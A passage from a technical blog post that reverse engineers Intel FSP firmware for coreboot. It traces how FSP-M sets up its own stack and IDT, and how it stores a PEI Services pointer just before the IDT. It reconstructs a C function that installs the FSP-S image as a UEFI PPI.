  3. It checks if it is TempRamInit, then it does a post_code(0xB800) and does a bunch of stuff that I didn’t bother to reverse because I’m not interested in that, then it calls again the switch_stack_and_run_2 (which I renamed “swap_esp_and_fsp_stack” in the C code). This means that TempRamInit will exit back into the old saved stack, thus it returns into coreboot, and right after that, if we call back into the FSP, it will continue its process from this spot, expecting it to be a SiliconInit that called it.
  4. It sends the Post code 0x9800 (SiliconInit API Entry),
  5. then it will loop looking for an available MTRR, it will check the MTRRs 0x250, 0x258, 0x259, 0x268, etc.. basically, the first available MTRR from IA32_MTRR_FIX64K_00000 to IA32_MTRR_FIX4K_F8000.
  6. If none are available, then it will look for the number of available MTRR using the IA32_MTRRCAP and loop for them until it finds an available one.
  7. If it can’t find one, it calls a function that I didn’t bother to reverse yet.
  8. It checks the image’s base address and looks for the ‘_FVH’ signature (EFI File Volume Header) and the GUID of the FSP-S file
  9. Finally, it then calls a “weird function”.

What is this weirdness you speak of?

The ‘weird_function’ itself isn’t so weird, it does a bunch a rather simple stuff, but in which it calls a couple of actually small and weird functions which makes the entire function impossible to understand. What are these small weird functions? Let’s start with the code itself, and we’ll let it speak for itself:

For those of you who paid attention, this function is calling into an offset of a register (%edx+0x18). So far, that’s not too bad, we often see that (function pointers in a structure are common), the problem is… “Where does this %edx register come from? Oh, it’s the content of the %eax register (the line above). Where does %eax come from? It comes from the content of the [%eax-4] pointer… and where does this %eax come from? Well it comes from var_A, which itself is not modified anywhere in the code…” However, if we look at the code in its entirely, we see that there is a ‘sidt‘ instruction there, which stores the IDT (Interrupt Descriptor Table) into the pointer pointed to by %eax which itself comes from var_4 which itself contains the value of %eax which itself is the address of var_C

So… to simplify, the IDT is stored in var_C, then %eax is taken from var_A (2 bytes into var_C since the stack grows upside down). This means that at this point %eax contains the address of the IDT address, then the function subtracts 4 from the address and grabs the pointer pointed to by that address… then it takes the value pointed to by that pointer and add 0x18 to it and that’s your function pointer. Maybe the function with comments will make it a little less confusing:

So the really weird thing here is that our “function pointer stored in a structure” actually comes from a pointer to a structure that is stored 4 bytes before the Interrupt descriptor table for some magical (or stupid?) reason.

Now that I got there, I felt stuck because I had absolutely no idea what that function is, and while I could have used my previous dump of the stack to figure it out (remember, the IDT was also stored on the stack when the stacks get swapped), I would just get some pointer to a function but I needed to actually understand why it used the [IDT-4] and how the FSP DATA was setup, etc. so I decided to temporarily give up on the Silicon Init and actually start reverse engineering the setup part of the MemoryInit function instead.

Starting from scratch

So, I started again from scratch and I reverse engineered the FSP-M setup code. It was very similar to the FSP-S code, the only difference is that if the action == 3 (MemoryInit), instead of calling the ‘infinite_loop‘ function, it was calling the fsp_memory_init function.

The fsp_memory_init function is a rather simple function that does one small thing: it creates a new stack! Ha, that explains so much. It turns out the MemoryInit function’s UPD configuration has a FspmArchUpd.StackBase and FspmArchUpd.StackSize configuration options that define the address and size of the stack to setup. So the entire FSP-M will run into its own stack and so it leaves the coreboot/BIOS’s stack intact. The FSP-S also needs to run from this stack, which is why when it swaps into it, we end up in FSP-M, because that’s where it last was when it swapped out of it. Great, what next?

The next thing the fsp_memory_init does is to call a function I named setup_fspd_and_run_entrypoint. What that function does is to setup the FSPD structure (the one at 0xFED00148), and I thought that by understanding how that gets setup, I would understand all I needed, but that’s not the case, it just does a bunch of complicated things, such as:

  1. get the ExtendedFeature information of the CPU using the cpuid instruction, but then it ignores the result,
  2. it then loops a bunch of time calling the rdrand instruction to generate random data until it actually generates data (so, I assume it initializes the random number generator by poking it until it gives it something),
  3. then it initiliazes the FPU,
  4. sets some unused variable on the stack to 0,
  5. then creates an IDT entry using the values 0x8FFE4 and 0xFFFF8E00 (which means an IDT to offset 0xFFFFFFFE4 (0x100000000 – 0x1C) with GDT selector 8 and type attributes 0x8E, meaning it’s a 32 bit interrupt gate that is present), then it replaces the Interrupt offset to 0x1C bytes before the end of the FSP-M file (which is all just full of 0xFF bytes, so it’s not a valid function address).
  6. It will then copy that IDT entry 34 times, then it sets the IDT to that pointer with the ‘lidt‘ instruction.
  7. It then calls another function that actually sets up the FSPD by giving it a pointer to its own stack,
  8. then it creates a structure that it fills with a bunch of arguments and calls this ‘entrypoint’ with that structure as argument.

So, the stack of this setup_fspd_and_run_entrypoint is pretty big, it’s about 0x300 bytes. Inside it, we find all of the local variables of this function, such as the FSP DATA structure itself, and the IDT table as well. Thankfully, IDA has a neat feature where you can look at the stack of a function by showing you where in the stack its arguments would be and where its local variables are. Here’s what it looks like for our function:

You can see the idt_table at -0x298, and you can see 4 bytes before it, at-0x29C, there is only undefined data, which means that area of the stack was not modified anywhere in this function. Well that’s not very helpful… So I continued reverse engineering the other sub functions that it calls, which actually initializes the FSPD structure and fills it out, I understood what it’s used for, but still: no idea about this [IDT-4] issue. I didn’t want to enter the entrypoint function, or what I assumed was the MemoryInit real entry point, since its function pointer was given as argument to the function I called setup_fspd_and_run_entrypoint. After I was done reversing all of the setup code, I had no choice but to enter the function I called the ‘entrypoint’ and after looking at it rather quickly I find this little gem:

The structure is found!

I had now finally found the function that calls the sidt instruction to retreive the IDT address and then write the pointer we’re looking for in [IDT-4]; it is indeed a pointer to a pointer as you can see, we store the address of var_2A4 which itself contains the address to var_250, and we can see just above that var_250 gets 0x88 bytes copied into it from a string “PEI SERV(“. If I go to that address, I realize that it’s a structure of size 0x88 and that “PEI SERV” looks like an 8 byte signature at the start of the structure. Searching for what “PEI SERV” means, I find that it’s indeed the signature to a 0x88 sized structure from the UEFI PEI Specification. The bytes that follow specify the major and minor revision of the spec it follows, which is 1.40 in our case, and that turns out to be the specification from the UEFI Platform Initialization Specification Version 1.4 (Errata A). Once I knew that, I was able to follow the specification, define the structure, and rename these unknown functions into their actual function names, and I got this:

And thus, the previous “what is this” function that we saw, with its [edx+0x18] access, became a very simple function that calls the InstallPpi UEFI API function. So yeah, the FSP-M is simply going to do an InstallPpi on the entire FSP-S image, then return back into whoever called that function that the FSP-S jumped back into…

The ‘weird_function‘ translates into this :

void install_silicon_init_ppi(void * image_base, int image_size) {
  uint32_t *Ppi = AllocatePool_and_memset_0(0x20);
  uint32_t *PpiDescriptor;
  uint8_t SiliconPpi_Guid[16] = {0xC1, 0xB1, 0xED, 0x49,
				 0x21, 0xBF, 0x61, 0x47,
				 0xBB, 0x12, 0xEB, 0x00,
				 0x31, 0xAA, 0xBB, 0x39};

  Ppi[0] = 0x8C8CE578;
  Ppi[1] = 0x4F1C8A3D;
  Ppi[2] = 0x61893599;
  Ppi[3] = 0xD32DC385;
  Ppi[4] = image_base;
  Ppi[5] = image_size;
  PpiDescriptor = AllocatePool(0xC);
  PpiDescriptor[0] = 0x80000010; // Flags
  PpiDescriptor[1] = SiliconPpi_Guid;
  PpiDescriptor[2] = Ppi;
  return InstallPpi(&PpiDescriptor);
}

You can also see the use here of AllocatePool which is another one of the PEI_Services API calls (which itself just calls the API CreateHob), and I’m glad I didn’t have to reverse engineer the entire memory allocation code to figure out that function simply allocates memory for us.

So that’s it, I’ve reverse engineered the entire FSP-S entry code, most of the FSP-M initialization code, and I then jumped back into the end/exit function of the FSP-M code (which itself does some small MTRR initialization then Installs the FSP-S as an UEFI Ppi then returns “somewhere”).

By the way, a “PPI” is a “PEIM-to-PEIM Interface” and “PEIM” means “PRE-EFI Initialization Module”. So now, I have to figure out how the PPI gets installed, and more specifically, how it gets used later by the FSP-M code, and who calls that function that exits the MemoryInit and handles the FSP-S return-from-new-stack behavior.

To try to explain “what’s going on in there” in a simple manner, here is my attempt at a flowchart to summarize things:

The big remaining unknown is the questionmark boxes at the bottom of the flow chart. More specifically, we need to figure out who called memory_init_exit_to_bios and how the PEIM gets installed and executed.

You can see the full reverse engineering of that section of the code in the fsp_m.c and fsp_m_init.c files in my FSP code repository.

Next steps

At this point, I’m sort of stuck because I need to find who called memory_init_exit_to_bios, and to do that, I think I’m going to dump the entire stack from within coreboot, both before and after SiliconInit is executed, then use the saved register value of ebp, to figure out the entire call stack. See, most functions do this when they are entered:

push    ebp
mov     ebp, esp
sub     esp, xxx

This stores the %ebp into the stack (right after the return address), then copies the %esp into the %ebp register. This means that throughout the entire function, the %ebp register will always point to the beginning of the stack at the start of the function, and can be used to access variables in an easy way. But also, the end of the function will look like this:

mov     esp, ebp
pop     ebp
retn

This will restore the stack pointer to what it was, then pop %ebp before returning. This is very practical if you don’t want to keep track of how many variables you pushed and popped, or how many bytes you allocated on the stack for local variables (and it’s also faster/more optimized of course than an ‘add’ to %esp).

Here’s a real example in the memory_init_exit_to_bios function:

On the left, you see the begining of the function (the prologue), and on the right, the end of the function (the epilogue), you can see how it stores %ebp, then puts %esp into it, then stores the registers it will need to modify (%ebx, %ebp, %esi and %edi) within this function, then at the end, it restores the registers, then the stack. You can see this same pattern in our previous ‘weird_function‘ screenshot as well.

This means that the stack will usually look like this:

data …
previous ebp
return address
data …
previous ebp
return address
etc.

The only thing is that every ‘previous ebp’ will point to the begining of the stack of the calling function, which will itself be the address in the stack of the ‘previous ebp’. So in theory, I could follow that up all the way to the top, finding the return address of each function that called me, thus building a stack trace like what gdb gives you when you crash your program (that’s actually how gdb does it). Hopefully with that, I’ll get the full trace of who called the memory_init_exit_to_bios function, but also, if I do it after the execution of SiliconInit, I would get the entire trace of the SiliconInit entrypoint all the way to its own version of the silicon_init_exit_to_bios, and hopefully that will help me get exactly what I need.

The other nice thing is that now it’s all probably going to be done via API calls to a UEFI Module and using API interfaces for the PEIM, and using PPI and whatnot, so I will also need to start learning about UEFI and how it works internally, but the nice thing is that it will probably help me reverse engineer more easily, since the API names and function signatures will be known.

Then, once I know what I need to know, I can finally start reverse engineering the actual silicon initialization code. Talk about jumping through hoops to find the front door!